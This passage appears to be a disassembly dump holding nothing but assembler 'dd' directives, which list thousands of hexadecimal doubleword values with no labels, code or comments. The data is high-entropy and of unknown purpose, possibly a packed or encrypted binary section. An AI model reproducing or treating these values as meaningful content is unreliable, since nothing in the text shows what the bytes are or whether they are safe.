		dd 90524A62h, 2CF58E70h, 7480A0h, 3D93DF76h, 19F06933h
		dd 6F78B975h, 0BD09AB76h, 184615CAh, 55384700h,	1BD8A4B9h
		dd 0EF49434h, 98A98AC5h, 2EA05080h, 14A4C146h, 12A78020h
		dd 803C8AC9h, 344B02Ch,	88A3242Ch, 56E42174h, 5EC2A880h
		dd 53C21h, 36DDB132h, 730B5F4h,	4CF94F60h, 595BA98h, 0EFCDE91Eh
		dd 9F489082h, 8E0643DDh, 0CEEC5A29h, 6B460CB8h,	4EA8B764h
		dd 9C230A4Bh, 8FE7A0EFh, 77C43DA0h, 80BE9F1Eh, 0FD87A685h
		dd 0C090113Ah, 7A0E351Fh, 18AEDC0Ch, 5B690AD9h,	2B4B6B7h
		dd 0C4A68494h, 4C99CCA9h, 251D309Ah, 6BC12600h,	0DF0DC73Fh
		dd 6EEF3CD8h, 0D7AB1C0Ah, 3AF105F7h, 4CC008DEh,	0A1E75E8Ch
		dd 557900ECh, 0AA3BF5C4h, 8276DC5Bh, 0A08552h, 5D4ECC7Fh
		dd 50EF79A9h, 7CDEB868h, 284A4833h, 6DCDD04h, 0C7C48481h
		dd 8ACF6138h, 0D3D452ECh, 4470D451h, 0D9F286DEh, 4110F51Ch
		dd 38046356h, 9500EFC0h, 0BE5EC469h, 7EE870C1h,	98226853h
		dd 0C23DC44h, 47BB5452h, 3A2CC981h, 0DD9880D4h,	16AA5E76h
		dd 862C43h, 1404676Ch, 0F6005A99h, 0BCA9F28h, 0F1B6C782h
		dd 251B1438h, 98C4F8BAh, 0CC087A34h, 0C2856784h, 0AF0057BBh
		dd 3C10CC82h, 0B1807A8Ah, 3CB805AAh, 28F422ACh,	5E90B963h
		dd 165100E0h, 24BFB1EDh, 7500C7D7h, 2DB505E2h, 1EF281Ch
		dd 0C2F4FD7Eh, 30A79C38h, 0AE24ED28h, 86870441h, 0AC10497Dh
		dd 25E17FBh, 8281549Bh,	0ACA0B89Fh, 0F1FF23B4h,	40A96E06h
		dd 1719BD3Fh, 80767D89h, 2DA0D238h, 42DB8B1Dh, 0E0946352h
		dd 3096DC82h, 0A60862EFh, 64814BCAh, 0F7964435h, 0C16818C0h
		dd 0F6E0758h, 842B9E94h, 340889Fh, 847EDB0Fh, 1BC01C83h
		dd 6427EFD6h, 678FE34h,	0EACE9663h, 0CC00E1B6h,	2C2B85C0h
		dd 0FE7919h, 9EDAF4D1h,	5EB366E8h, 6BC04204h, 0DCF1FFBCh
		dd 0B3F26472h, 0C60C30h, 2964289Ah, 0BB129BCFh,	0D447345Eh
		dd 808E1774h, 0DA8710AEh, 3E6B01D0h, 52C4B293h,	0B202824h
		dd 717E95h, 0F521EDC4h,	88629887h, 1C6C88Ch, 0F2AC6689h
		dd 0E1F14D84h, 0B2520FBh, 81EB0C09h, 401481E6h,	106947C2h
		dd 2BC9E24h, 0AB2D67DCh, 269D6841h, 127B02A8h, 318A34F5h
		dd 0A3E31049h, 23BE00ECh, 30C48447h, 0DC91404Fh, 84B08A0Bh
		dd 7CF225ACh, 0E0C068E7h, 8841AFh, 0AEE1396Dh, 6B34B702h
		dd 1C42A424h, 56C74B01h, 19113053h, 6B62D80Eh, 824C9E27h
		dd 0A0D55E24h, 0FFE899B0h, 20FE0006h, 3C19E7CAh, 0AB004222h
		dd 8F16C840h, 91170877h, 56E6D0C4h, 0D6050086h,	0E731D7B1h
		dd 4548CAC5h, 28C40BECh, 69D0215Fh, 0E82C3514h,	0BEF9C204h
		dd 0D3B088EAh, 3FE76C01h, 2E883779h, 30A09842h,	7B121183h
		dd 3038F33Eh, 118B004Dh, 0F4578C81h, 3E0126A8h,	60C49ED7h
		dd 8C3C5197h, 24E77101h, 0CC72D94Fh, 89274AEh, 1C7FC42Ch
		dd 0FE20771Eh, 5407F8F7h, 52FAC4Ah, 838CD8F8h, 51C0ABAFh
		dd 306E84E5h, 0E08142E8h, 700D33Bh, 85FA1029h, 0B31B54Ah
		dd 63A10B9Ch, 44FE3890h, 0D2ED0516h, 18047095h,	6CE4436Fh
		dd 0C354277Fh, 0DC6788E0h, 98A54228h, 0BE218707h, 0B346B857h
		dd 0FE6F3C21h, 88DF4785h, 9FA4C2E7h, 8127D30h, 8D5A34EBh
		dd 3214A66h, 69ECA5F9h,	10B0FE17h, 1E02C6ABh, 606BACB2h
		dd 133CF0D9h, 13679F81h, 3E3C80A9h, 3B61B330h, 64107B0h
		dd 8234835h
		dd 3CC168A7h, 7CD48A26h, 66940009h, 0ED971BF7h,	49C40DD1h
		dd 0CC9065C4h, 927C439Eh, 5AC9397Ch, 0D3020CDDh, 0BC52CBD2h
		dd 95079CF0h, 7F4EC01Dh, 3485C9C5h, 0B984608Eh,	9FED3057h
		dd 0E3D901E8h, 0D8A01168h, 0C80BC069h, 74686F49h, 0D6D14E01h
		dd 0FC496C1h, 0E284344Bh, 1F2A3056h, 2FEF4A3Ch,	0DE4A1084h
		dd 0FE7BEDC0h, 6D0957C5h, 0C455F6A3h, 74957934h, 0C16C0039h
		dd 765FBD1Eh, 270228B8h, 5256744Ah, 5B704A22h, 2C1170F4h
		dd 1913EA09h, 0C2D08787h, 0D4F4858Eh, 0FF5EC402h, 14EC6853h
		dd 4C9BB06Ch, 520FB899h, 0DD84084Dh, 0E2FCB26Bh, 9A02305Eh
		dd 0DFADCF1Ch, 0CC0D55C1h, 0FF1240EAh, 0B8649060h, 4A8A9B80h
		dd 536846D0h, 9494F170h, 5E465Eh, 0E6237485h, 4C5040B8h
		dd 1D1068A1h, 0A7870149h, 0B68B467Ah, 1C0F2C62h, 0CD80860Ah
		dd 0DD368A40h, 17D518CBh, 0D9B28830h, 67640260h, 9D5F14h
		dd 0FF3447FCh, 0E86452D3h, 2CC145E1h, 0E400BC33h, 2B40232Ah
		dd 8B402EAEh, 34244154h, 63E4F533h, 38862378h, 34EFEC84h
		dd 3C8E92h, 7CECAE86h, 0FF6F862h, 9CE88E91h, 80D73A02h
		dd 51376860h, 51527880h, 6891508Ah, 12798083h, 427A34F7h
		dd 0A1FDC08Dh, 0AB7BECh, 2072D875h, 92EDA5CBh, 0A9306B14h
		dd 0FD860BF0h, 0AA701057h, 0F63202ECh, 5FD1C06Ah, 63490C82h
		dd 51F195E0h, 0F4E67828h, 94B40C90h, 43913DCh, 6BFCC057h
		dd 0C094D40Bh, 4A465Ch,	222EFE66h, 386135Eh, 633F067Eh
		dd 0D80EB138h, 73F8C2CBh, 68D57000h, 16CFF61Ch,	60DCF75Eh
		dd 3C524B28h, 34680095h, 0EF3A2A26h, 178D8434h,	84FAB467h
		dd 0C3CC0424h, 0FBE9052Ah, 57B12481h, 38100405h, 1DD840A3h
		dd 0FD84824Dh, 47C8493Bh, 3F0818C4h, 3B64C3Bh, 0D3B45249h
		dd 0A277702Dh, 184FAE70h, 7911118Dh, 0AF88E33Eh, 11954780h
		dd 2AE28C1h, 75C4CB62h,	0C6D69A6h, 0D3BC7AC0h, 0EAB71BE8h
		dd 1BB86144h, 8B3AF646h, 0F19E80EBh, 0BE76E7D9h, 218F2C22h
		dd 0DC6F40BCh, 0F70BE668h, 0E00169D9h, 17C4CD50h, 430880Ch
		dd 45245324h, 1CC5FD81h, 1C801885h, 16F8210h, 87F5D40Fh
		dd 6CF621EDh, 0CFA983D4h, 0FB49E878h, 7D250290h, 0F68FEF7Bh
		dd 0BF005C52h, 0C046278h, 26D329h, 0BAC6967Ah, 0D83A6CB0h
		dd 0F8E937FEh, 0D09C3156h, 0F9696D80h, 256B82EFh, 809B9B0h
		dd 0F1EC2Fh, 2554864Ch,	54B49EDBh, 2043E0EFh, 29FFB79Ch
		dd 17C404A4h, 54B07978h, 0A0A44Fh, 3FE1DDE6h, 0F6598D5Fh
		dd 7EF9660Bh, 71DC90E8h, 55D40746h, 959F85F4h, 0E6FCD0DAh
		dd 0BC74DD84h, 0E7021896h, 78D43B34h, 39699848h, 0EA30DDDCh
		dd 8FC8C421h, 17505D49h, 3913BB16h, 0B69FCC80h,	59B96936h
		dd 6081A004h, 12F11377h, 8A33AA34h, 7F870FD0h, 0E29F6313h
		dd 538811EBh, 0F2BC0BECh, 0A334E1DCh, 87380207h, 9882ECF8h
		dd 0E3D90C79h, 2A0E8818h, 637486CFh, 2EF49EB4h,	5ED4D491h
		dd 99004546h, 7B7C7D0Fh, 8F26DA1Ah, 0EA41E89Eh,	136E6C03h
		dd 27880241h, 50607044h, 133D0D8h, 0E0B1C94Bh, 0F985A108h
		dd 0E86B3A00h, 0A873E54Fh, 8C01A4C6h, 0F03C6E18h, 50097ABFh
		dd 0B828F3Fh, 89FCCA14h, 0DEFC009Ch, 536C876h, 0B1D3DDA3h
		dd 0C1FC9753h, 72DCFCBDh, 0DCED3F80h, 0CA529CECh, 5DA210A3h
		dd 7641EA30h, 0C4BD5887h, 4D06F28h, 90310621h, 1638B208h
		dd 0B0CCD1EDh, 85C05E9h, 0F32643C8h, 30BBB2F4h,	0E6001F1Ah
		dd 60212966h, 18D9649h,	0C37A55C8h, 24D48AC4h, 0C1E636D0h
		dd 0AE0CC505h, 0E840B7EAh, 202B5F84h, 0B8CC3A3Fh, 50096500h
		dd 0D7D49BFh, 92361604h, 0A8B80863h, 0E3F4844Ah, 0C8A9E4F4h
		dd 152E985h, 0F6D705D4h, 9EA45040h, 3F3A57A7h, 0C6678F09h
		dd 0CB706063h, 0ABEFFh,	3A201814h, 0CFF77624h, 0C2B64304h
		dd 8CF0C438h, 48A2EA67h, 0DC049847h, 0B849EF2Bh, 3543C13Ch
		dd 0F0206B37h, 0EE81202Eh, 44933013h, 398EB820h, 5046011Eh
		dd 0C5145175h, 7288548h, 6CC0E7D3h, 8046DEC8h, 0F7044382h
		dd 4E1169F2h, 81C4C8B8h, 9BAC6251h, 0B6129C1Ch,	929623FCh
		dd 37C89757h, 7C4493C6h, 930AC288h, 0C8005E7Eh,	0D7178499h
		dd 7BAB7B9h, 6D15E943h,	0E82C41B3h, 0C86B2FD5h,	65F49C00h
		dd 0E15455A3h, 644181C0h, 9961EA2h, 0F0AFB55Dh,	898C8F7Dh
		dd 61E38189h, 1EE1EFF4h, 1E7B2C31h, 8F003E16h, 79B08D49h
		dd 64305ACAh, 9C64CE1h,	188E004Dh, 0BFCD705Bh, 5A1721DEh
		dd 1841C860h, 8D076B1Eh, 0F401C026h, 0F3C87962h, 0D0282B9Bh
		dd 62FC1293h, 154C08E0h, 0C1D35E8Ch, 0EBCF0E39h, 8A850CE1h
		dd 5E0CD110h, 7E619F83h, 360FC302h, 0B440E32Dh,	82518844h
		dd 0C837DCh, 0C52CAC6Bh, 0A42F0C38h, 2488DAF4h,	0E62F0AA1h
		dd 9A8DD43h, 0E400A60Bh, 0CFA5BD25h, 78454226h,	0C320F428h
		dd 49074B30h, 0D451EC74h, 0D73B6FA8h, 51568463h, 50ADBBF8h
		dd 845057C9h, 26BD702Fh, 2910A4h, 25328895h, 3150A4B8h
		dd 0F0E0DC30h, 91011E6h, 9F09B966h, 1BE0F8D3h, 0CD8BD4h
		dd 9E82D880h, 5173D01Eh, 8C07107Ch, 72912265h, 0AC472340h
		dd 0F94B0E83h, 0EB6057AAh, 0D1EA67ADh, 1DCFA200h, 7CE8FD8h
		dd 0F188A1E6h, 75026C36h, 7D67C1CCh, 94604471h,	1632CC9Dh
		dd 4F52BC69h, 3AB6C4B4h, 4E5237Ch, 0E098A28Ah, 8F4E0B98h
		dd 4410D09Fh, 821888AEh, 0ECD88AC9h, 3B3AA880h,	0F4934F5Ch
		dd 20505FC4h, 185A2DE1h, 84F00E77h, 0D3A0D174h,	4725718Dh
		dd 5C30A54Ah, 237611C0h, 0BA11EB3Eh, 118E8001h,	0C8D91D71h
		dd 0A892BC13h, 38796899h, 0E21DA418h, 0F1C0DBDAh, 8863BA66h
		dd 0AE3890A6h, 0B0A17258h, 16787674h, 0B4F6C1EEh, 4F1D8008h
		dd 8B893A1Fh, 0E63020B5h, 74591974h, 0E1B1699h,	0F0E000B7h
		dd 0D6322261h, 207DD22Fh, 94C84C30h, 7C92809h, 0C10A25DCh
		dd 0E920D80Fh, 87F161C5h, 0B066812h, 726C4F2h, 251400Ch
		dd 5571227Fh, 2DA08803h, 0B38D6E65h, 5F6A80CEh,	1B9A12F1h
		dd 0E6A413F8h, 0ED870368h, 0A08491BFh, 1E467E17h, 2552CA2Eh
		dd 40D3A0E1h, 8968699Ch, 0DEDA1803h, 95B8BCC4h,	3B9C2480h
		dd 0D13305C2h, 0B253ED1Dh, 30AEF21Ch, 0FFF25C13h, 0D7F50203h
		dd 0FEBA2729h, 3C092060h, 0E39AE00Bh, 0C17CCD69h, 0FCC43F88h
		dd 1B98CC6Dh, 47241700h, 0C359F36Fh, 74784C03h,	35107404h
		dd 0E678C1EDh, 6980317Dh, 141FB884h, 0E45166BCh, 6B1A5F09h
		dd 0A3037071h, 0E84B6FC4h, 7A5019C2h, 7A73D9h, 0C805D19Ch
		dd 0CE8046B6h, 0AC20C15Eh, 52DB64h, 5A2E7F1Ah, 0A9666776h
		dd 53276A03h, 99319F7h,	0C0AD354h, 4010C019h, 391E3CF0h
		dd 87383E0Bh, 0C12080ECh, 975B5117h, 486D4880h,	0A109421Bh
		dd 0FA9E894Ah, 68C300F0h, 9844BDF1h, 0E70B112Eh, 22891467h
		dd 0D4DB9304h, 0CE4C65C0h, 0C1B28890h, 34EA54FCh, 44004560h
		dd 0C510E6EBh, 13C109B5h, 63E477Eh, 59A29E64h, 0CF89C00Eh
		dd 0FA53C933h, 0C9860488h, 864D54F8h, 5F4C69C3h, 9E3980B0h
		dd 0F02B9Bh, 97F1BA43h,	282FD4CBh, 0E5063200h, 1F0AA6F2h
		dd 0F0514869h, 916BCC13h, 738DF798h, 4C2000DCh,	28F2923h
		dd 0B106009Eh, 1E427FB2h, 0E3093F3Dh, 0F937B820h, 0D6470014h
		dd 0EF7BD835h, 548B874Fh, 0E0CFBBC8h, 9F396E3Dh, 5D4000EFh
		dd 0C248DADEh, 474ECBE0h, 0C1E15099h, 0B1C4433Bh, 0B9022C59h
		dd 0C23E9514h, 40345E90h
		dd 7D444B4Eh, 2F8648Ah,	0C469968Fh, 0E8045706h,	0D96B08C2h
		dd 185E7150h, 0EA0EEC2h, 0C477BEBBh, 0D0706309h, 780C3490h
		dd 785769DCh, 88305A73h, 0C281932Ch, 968ED230h,	0E3217614h
		dd 0EE58256h, 8C565AC9h, 7C6B3E82h, 97B45CBDh, 34244044h
		dd 56E0D81Bh, 8C81F89Bh, 4C4ABC67h, 219F9092h, 0D8960E40h
		dd 1D09D893h, 6497C77Bh, 6A1912C8h, 4E240028h, 0D6AAB4B3h
		dd 48483F49h, 0EFE113ECh, 45C8A08Bh, 246758C0h,	0A3D13BD9h
		dd 0B39F8F0Ch, 45035C21h, 14E64687h, 679BD83Ch,	2864ADCh
		dd 0D93AF5E8h, 0B012B0ECh, 24E22F6Ah, 0AED6941Dh, 4865EBBCh
		dd 21603BE4h, 0D9039FA7h, 0FCE956B9h, 0D476A2DAh, 701EDC64h
		dd 91001D4Bh, 99D071C3h, 2D6A03E3h, 8533E45h, 68D42C16h
		dd 5F23F82Fh, 8B613D00h, 2716C75Eh, 886EADC1h, 1769A125h
		dd 803B11CCh, 223C1A3Eh, 0CEA71F40h, 21489808h,	0BA1FF5A2h
		dd 0C440AC96h, 5072CF94h, 5DAA13B8h, 0EF28A0F9h, 1651C712h
		dd 5100106Fh, 6784A9C3h, 0AF4F9F70h, 0A042D8CDh, 0CC7930FDh
		dd 9D678512h, 90C028B2h, 4F69CC81h, 0E9EB9F72h,	1BC98C4Bh
		dd 382CCE74h, 0EBDACA8h, 91028E80h, 0C4165887h,	97AD2CB9h
		dd 9D45916Ch, 0C0726B0Eh, 0F28B9B6Fh, 0A5040387h, 13C77650h
		dd 1668B8C5h, 0FCA3B726h, 1830B8A2h, 25BC2ED8h,	9FC806F8h
		dd 0B6008156h, 0B1BADE7h, 12F1BED3h, 143CA2Ch, 21C7B331h
		dd 2F30DD3Ah, 0FB741809h, 0D11829F0h, 19A183Ah,	5B4031C8h
		dd 0DCDD5924h, 0B6139CCFh, 0A0E2993Bh, 85D5FD00h, 18B72B02h
		dd 4BC46600h, 44820BD0h, 204600A5h, 0C7C9CF7Eh,	0C225CAB7h
		dd 0E6D4C064h, 0E36098DDh, 79758600h, 0CDEBC63Bh, 0BC2F97F8h
		dd 3407AF23h, 59902BCCh, 11C1707h, 0AA5B0423h, 2C148ACAh
		dd 6334040Ch, 0A4A7BB60h, 0FC17F82Fh, 6057B788h, 1564968h
		dd 0E9101214h, 57150558h, 0DC80D0FAh, 0B9F7AF9Eh, 11802600h
		dd 21E92D4Bh, 9AB743B0h, 0F83AEBC4h, 480948CBh,	0CDA09680h
		dd 0ED2C0EC4h, 1F00FC21h, 18B6B754h, 0CFB20976h, 6CD878E8h
		dd 446E9F4Ah, 2B8C9500h, 22FF4A78h, 0E7B4BE0Bh,	387A57h
		dd 12150270h, 0C5B8A2D8h, 0C4C80186h, 50478F6Dh, 6CEC597Ah
		dd 30DABDF8h, 0A500CD1Dh, 2374ECEDh, 0FC27147Eh, 0C5514455h
		dd 48A4E493h, 4AD700D6h, 98145996h, 0CCA1B250h,	4B947943h
		dd 94B27484h, 0C57BAF1h, 777F0071h, 752751DEh, 0AE006429h
		dd 8E8BC8CDh, 2D28C470h, 0D8C84703h, 0A89CBB4Ah, 48EFC805h
		dd 80C41CF9h, 0AC8CA9D5h, 7D1E03D5h, 765C5E8Fh,	43B44FD0h
		dd 4CE2E82Ch, 7517CE01h, 3BF344h, 0E99126C0h, 87334096h
		dd 7D6E49BCh, 9140B2A0h, 0C4D349D8h, 0B0D08351h, 0A607A09h
		dd 0D0249F6Dh, 89D7CFE4h, 947C450Ch, 0B8C4A8ECh, 0DC008C42h
		dd 2F0D86CFh, 532A44A5h, 8E10B84Fh, 0A09E25A2h,	8F6B7078h
		dd 4BB803D8h, 59DA905Ah, 9CED4FD0h, 788EEB4Eh, 4578B9CAh
		dd 0E542804Eh, 0F8039D4Dh, 670C3BA5h, 0C4BD88F9h, 0CD802F5Ah
		dd 0B98C34C8h, 98D180h,	0E04D30ABh, 0C4F96AD8h,	2062FFEEh
		dd 72ADEDC0h, 409E4B4Ch, 0CC499554h, 0FD0F9CDDh, 130357C7h
		dd 6608BC00h, 47B2685h,	820DFC48h, 0BC6CB8D2h, 89738C5Fh
		dd 84C87D25h, 9E0648B0h, 0D00081B1h, 0D6CB70A4h, 139FAFFh
		dd 118C444Ah, 0F8CE7797h, 45F212C7h, 0A56C029Dh, 78D109BCh
		dd 0D218AE79h, 51F2A002h, 4C6F2205h, 0DBF85A94h, 73988014h
		dd 7F8BFE76h, 0CC1804F3h, 9086F040h, 7A9F278Ch,	45EAB818h
		dd 0AC7789h, 4EFE2A23h,	67BD0D38h, 0C90F789Bh, 0BF5404D9h
		dd 8A4A58A7h, 0C03AC858h, 0C847ACB6h, 0A67B7607h, 52621528h
		dd 4BE0D8A4h, 237C3AA0h, 7E8A005Fh, 0D174712Ah,	1383A507h
		dd 6D4BC7D2h, 6976C00Ch, 914086DCh, 5333169Ah, 4CE0B01Ch
		dd 0A51C6CF8h, 5B0B3EE3h, 18F4F035h, 304FAAACh,	981C2521h
		dd 0D70CC437h, 0B591202Dh, 5F919097h, 5191B580h, 0BD13E9A1h
		dd 0AC40A6C2h, 25A37E4Ah, 0B9EB605Fh, 7AF97057h, 50670800h
		dd 0A2FB37CEh, 0CA2301E5h, 0CB8F8E90h, 482F2FB4h, 0DB074423h
		dd 8FE08376h, 2FC9E169h, 74003852h, 0FF8527C6h,	0C4BE3E1Ah
		dd 88589760h, 7160DE4Fh, 1716436Ch, 20F6D493h, 0DD0A2920h
		dd 2CBAD100h, 8558971Ch, 750C0135h, 14690EDCh, 18FCFAA9h
		dd 2C40DB88h, 0BB467474h, 40B7521Eh, 611B1676h,	0F400B2FDh
		dd 1D287ED0h, 2E37E18Ch, 0C1A8EE0Dh, 24F6C469h,	22F21FD4h
		dd 5460800Ch, 56E79E9h,	0A8B801A0h, 3164806Ah, 0ACB41830h
		dd 6DB41001h, 84299E41h, 87F78E00h, 0ABB831Ch, 0EB7B5C00h
		dd 45D6B83Bh, 0DDC25EBEh, 306A7B50h, 14983125h,	105DD52h
		dd 394F60C1h, 5C5E2488h, 0A4887047h, 7711DFC0h,	0A2D34A3Eh
		dd 8981C058h, 78460311h, 0D10C9934h, 0E2C0195Fh, 698C00D8h
		dd 1D559351h, 3816C10Bh, 0D03E4397h, 0C956E210h, 40F05416h
		dd 5DFD867h, 0DB634C01h, 0D589B1FCh, 800684F8h,	4800F918h
		dd 0E86830Ch, 0B2CF8ABh, 0C0AC6B92h, 60B84C60h,	4C1242Dh
		dd 1D404850h, 0F9FB4DD6h, 7CF18504h, 0F8F49F35h, 0FCC90059h
		dd 70777946h, 1D07B6B8h, 0A349C1E3h, 0A981EFA4h, 88733659h
		dd 0F33049A2h, 0CB452E31h, 412308C0h, 72DCDD02h, 0D9545148h
		dd 0D18B3h, 0A3CD630Bh,	0F5B788F1h, 6B1DC270h, 6FDDBF13h
		dd 5702D824h, 54543C42h, 935B8084h, 87BCBBABh, 3B40BCB6h
		dd 0E2F338h, 0FDB245DBh, 681075CBh, 0C04BD5EAh,	0BAB3B820h
		dd 6AB200A7h, 65A5229Dh, 3C717614h, 5D023EE0h, 0B8C170C0h
		dd 4421h, 9771CB74h, 66C4CF7Eh,	8B19A100h, 0E99B6980h
		dd 8B6E4ADCh, 0C038C8F4h, 44E50188h, 1953A10Eh,	0C0D86934h
		dd 0BF315740h, 1B3E70A0h, 6CB4BB9Ch, 885C0893h,	60484DEDh
		dd 0D650944Fh, 0CC0186F6h, 6BBFE370h, 0E42D4580h, 0CC458CCBh
		dd 1857BAE2h, 0E6009AA5h, 0D3CB4226h, 10652CDh,	6D211268h
		dd 3C37515Ah, 0D8BB0488h, 488EF649h, 32D9B284h,	0B0546C72h
		dd 92B83BFCh, 7435B92Dh, 0D78E5D91h, 0E43EB885h, 0CA4EED5Ch
		dd 22C6C897h, 6C31F9A9h, 0C8B8CB2Ah, 0EFD5C0B3h, 0C00CF49Fh
		dd 0BE035F7Fh, 0AC149C30h, 490A0808h, 63383E05h, 309BEC95h
		dd 0CAA58EC0h, 4B5105Ah, 90B6DFE8h, 1ED4C05Bh, 2812343Bh
		dd 7805DFEDh, 48005FCCh, 3E8D70F3h, 0E7D30FDEh,	0B0177CDCh
		dd 18135324h, 28E69DFFh, 646879E0h, 182F5201h, 495C245Ah
		dd 0C9C1942Ch, 799E86DEh, 0A8915F18h, 48AC17EDh, 0ECC52DE0h
		dd 5C605EC4h, 880379D3h, 6121806Fh, 3CE9C08Ah, 0A95F09DFh
		dd 0B402745Ah, 790BE098h, 4EDD0070h, 63CE1FF6h,	911D6E00h
		dd 0F70BFC29h, 21500B13h, 3465773Eh, 4FBCCD2Fh,	69495080h
		dd 0B7026129h, 57BC7E9Dh, 404856DCh, 37A4E8C6h,	56FD8100h
		dd 7FC4CD9Fh, 0F7790478h, 0EDCBEDDFh, 85FD0904h, 0E07010F6h
		dd 58FE45h, 7518E47Ah, 1DAFCE3Bh, 518EAA00h, 8DC3BB4Dh
		dd 9C91705h, 0A1E41B8Fh, 0DE3995A0h, 64C47602h,	4BBDE97Eh
		dd 4878E968h, 7AC96CDCh, 8E69008Fh, 6F73B82Fh, 8100399Ch
		dd 0EE807DF4h, 0C0C98FDCh, 9941951h, 0EF5A9EC3h, 0B3C8D88Bh
		dd 1D24E8C0h, 2F98F09Dh, 801957E6h, 1A55C21Ch, 5EB456C0h
		dd 8057B721h, 0A732E6ACh, 562D44EBh, 0C000ED76h, 69686BD1h
		dd 0F3137B7Dh, 0F40229C7h, 0DC56E518h, 0CCBC0CB4h, 5C5A66B9h
		dd 68A46853h, 3DC40F8Dh
		dd 0D220AB6Fh, 0CF231563h, 0CC1A4904h, 38984ADBh, 5EFC94A5h
		dd 0EE015C46h, 43BE41E4h, 0C34620Ch, 98BADC32h,	387700DDh
		dd 2D6F3EC7h, 0B90B1AABh, 4E6EBF93h, 71E4B154h,	0AC18B5h
		dd 0DBB4A04h, 2EF6CA65h, 4B63A88h, 7AE3B951h, 0FE88C337h
		dd 58E96926h, 0A5F01F14h, 0DFA8A8BDh, 7E574E09h, 0C4E48FB6h
		dd 0AEE13B94h, 9D9CB434h, 67A0E40Fh, 0EEB7BAACh, 0BD34B7BDh
		dd 0A6000248h, 0BF72F149h, 1DFCEE52h, 3C205B00h, 78D02804h
		dd 0AB4C2853h, 259325C0h, 6658E4DBh, 95C8031Fh,	0ED57E86Ch
		dd 0FFCF100h, 4A90871Eh, 883400A0h, 6EF8A68Bh, 70999AA9h
		dd 4CFEFC81h, 0B7CCB21Eh, 34180742h, 0C0915CB8h, 86FFCA26h
		dd 7D6EC40Bh, 0DC002076h, 997BFBDFh, 185DD1C4h,	0A1192CC4h
		dd 9ED640ECh, 2D0009F9h, 0F558F279h, 33A869h, 8CAA963Ch
		dd 54688A72h, 0F80CC716h, 1478A89Dh, 8CBAACh, 0A9B7198Bh
		dd 0D9D1BC52h, 0E803C417h, 0F9B82490h, 0FB8E726Ch, 2FA49320h
		dd 80BA7C2Ch, 8550705Bh, 1E7E09C1h, 0D482C259h,	0B8E8B43Ah
		dd 97B72EA0h, 8E5D91D8h, 3A21C013h, 4D8AC829h, 5E272874h
		dd 0A48B7CC8h, 4E0F637Fh, 3629155h, 80947FAAh, 146ADFCh
		dd 3EA74092h, 3FE2243Bh, 10208C45h, 0B310743Ah,	1E93C0D9h
		dd 4806BC69h, 371C9C90h, 0C481C13Ah, 0DDCA6E0Ch, 0A0B06444h
		dd 0BAF46312h, 0B9E97C04h, 396F6890h, 14D15834h, 0FE861900h
		dd 9F465A02h, 0F9692C12h, 0B5C838CBh, 0BBEA24C0h, 141B02D6h
		dd 16AC6BABh, 0C0BB858h, 7147133Bh, 19AC2640h, 795E0887h
		dd 0F8C24A9Ch, 80540928h, 0A0D9E70Fh, 1DD7B025h, 13DCEACFh
		dd 0F2F1836Eh, 0E5FB007Ch, 274D9E15h, 211B0032h, 0CA5844AEh
		dd 4C24A561h, 0EB0EAC4Bh, 56E82177h, 38424A6Dh,	8044D6C1h
		dd 40066FD8h, 0BC00612Ah, 59699720h, 4AEDF23Bh,	445042C9h
		dd 4CF4072Ah, 89257C1Eh, 44184F24h, 1002C772h, 6B600691h
		dd 0FCC86C5Bh, 0DFB700DBh, 5C0B2C37h, 7B0B2A35h, 5027383Eh
		dd 0D837BD44h, 0D4E0D417h, 9C53277Eh, 945E64C2h, 5C5A4B82h
		dd 639848B7h, 95C9608h,	420094Eh, 0D97374F1h, 0BF5F6812h
		dd 9B00F856h, 4D4159CEh, 0D6311C1Fh, 4EA7435Dh,	0CDC8B40Fh
		dd 0CCB0E879h, 1229F444h, 0C0E4AC3Ah, 0B4946BC0h, 308ACB80h
		dd 3A80CFD8h, 7100F33Bh, 4CC9D7B2h, 25146B46h, 580098A1h
		dd 0BF1F1A28h, 0E817B727h, 3D2BE390h, 11E8C15Ah, 820501D8h
		dd 0E24FCD53h, 20EAB8E9h, 858846B8h, 53124B6Fh,	47004920h
		dd 0F4437420h, 98048627h, 0F1DD4CDBh, 87040BAh,	0CDEC1C67h
		dd 44D2D025h, 3BA1E90h,	0DC1B091Fh, 52AC1C04h, 0B0A4C8h
		dd 30BF4C14h, 0E8D29ED8h, 0EAC9A607h, 28CFEC6Ah, 1C9DB3h
		dd 0E0095582h, 7A048CF1h, 0EC52C47Dh, 6B3A1CD0h, 9070506Dh
		dd 15DA01BEh, 23DCDFB4h, 38203C2Bh, 540172C9h, 154021D0h
		dd 0A3C0D216h, 917E03A7h, 0CDBB43CFh, 0C2C54006h, 5825DCh
		dd 9ED22D94h, 0C70C01B7h, 808B044Bh, 3157B7C4h,	0EAD8833Eh
		dd 0E83B2CB0h, 0AA6043A4h, 0C0829FB9h, 6E03AEE7h, 6F54CA01h
		dd 6D69F85Dh, 9E9CA002h, 3892B78Ch, 4E6260E5h, 75A718DEh
		dd 0A9BCAF09h, 0E45045E6h, 73BC60BBh, 0D8620031h, 0E65F9B52h
		dd 0F4A4EAB4h, 3E4820BFh, 4CC90662h, 44222CC7h,	0C5E855F8h
		dd 3CE69600h, 2DFD14FFh, 8C722DA9h, 90E2284Dh, 1AD511E1h
		dd 109220D0h, 7780204Ah, 50020621h, 0F8DB9329h,	0C218B8D1h
		dd 0CB917803h, 4B8CB571h, 0B2E088C0h, 805F633Ch, 0C0AFF9ACh
		dd 27CC497h, 9C79D174h,	34C2EBE2h, 90DEF81Ah, 416105D4h
		dd 0ED9FD5F9h, 4A0F07F4h, 0D3B09806h, 2A6E395h,	303E5048h
		dd 0C087349Bh, 4C5A917Dh, 0BE8C40E5h, 454FD053h, 8924F0D2h
		dd 88D09D98h, 0B060DE45h, 9D109B3h, 0CED3BB3Ah,	0AA1DDD00h
		dd 0A4003048h, 0A66121C7h, 98D9F77Ah, 0D5B92D24h, 60048CB7h
		dd 0D84042F6h, 9B395336h, 0FF1E8A00h, 89D02E32h, 37B717A0h
		dd 0AE1C004Ch, 0BDBEC467h, 503CE881h, 0DB472413h, 81208F80h
		dd 6481C21Eh, 0D91CE2DEh, 56E578DCh, 0B88C1C86h, 3054D460h
		dd 42EE9700h, 0C4C63CE3h, 0EAAAB00h, 7CEF1BF0h,	0E51E1ABBh
		dd 34C0D858h, 0BD970531h, 352700C8h, 3E3C5CF8h,	5447282Eh
		dd 8CE36981h, 0D478D37Fh, 18C35BCh, 2B29281Ah, 0F5C2391Eh
		dd 38B8D051h, 9C637CB6h, 33090196h, 2BDE32D2h, 5AF063F3h
